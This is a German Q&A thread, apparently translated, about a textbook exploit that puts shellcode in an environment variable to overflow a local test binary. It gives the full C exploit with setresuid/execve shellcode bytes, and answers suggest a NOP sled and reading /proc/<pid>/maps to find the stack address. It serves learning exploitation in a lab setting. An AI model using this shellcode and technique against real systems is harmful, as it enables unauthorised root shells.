2016-04-27 16 views
1

Ich versuche diesen Code inspiriert durch das Buch "Hacking: Die Kunst der Ausbeutung". Dazu wird ein Pufferüberlauf mit der Umgebungsvariablen ausgenutzt. Die Ausbeutung Code lautet:Pufferüberlauf mit Umgebungsvariablen

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51" 
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd" 
"\x80"; 

int main(int argc, char *argv[]) { 
    char *env[2] = {shellcode, 0}; 
    unsigned int i, ret; 

    char *buffer = (char *)malloc(160); 

    ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow"); 

    for (i = 0; i < 160; i += 4) 
    *((unsigned int *)(buffer + i)) = ret; 

    execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env); 
    free(buffer); 
} 

Das Problem ist die Basisadresse 0xbffffffa. Ich lese here, dass der Grund für diese Adresse ist, weil "der Linux-Kernel wie so implementiert ist". Trotzdem funktioniert der Exploit nicht und führt zu einem Segmentierungsfehler.

Ich bin mit Ubuntu 14.04 mit Kernel Version 3.13.0-83-generic auf einer 64-Bit-Maschine und ich bin die Ausbeutung Kompilieren von Code mit dem folgenden Befehl:

gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit 

I behinderte ASLR auch.

Haben Sie Ideen, wie Sie diese Adresse ermitteln können?

Danke für die Hilfe.

Antwort

1

Die Idee mit einer solchen Ausnutzung ist es, nop sled vor Ihrem eigentlichen Shellcode zu verwenden. Auf diese Art und Weise, wenn die Adressannäherung schlecht ist, gibt es eine größere Chance, nop zu treffen, bis der Shellcode ausgeführt wird.

Um diese Adresse zu erhalten, können Sie (zuerst) die Speicherzuordnungen in /proc/<<pid>>/maps betrachten.

+0

Soweit ich mich erinnere, sagte das Buch, dass der oben genannte Exploit den Vorteil hat, dass er keinen NOP-Schlitten benötigt. Ihre Idee, in '/ proc/<>/maps' zu schauen, half jedoch dabei, die basierte Stack-Adresse des aktuellen Prozesses zu erhalten. Jetzt funktioniert der Exploit. –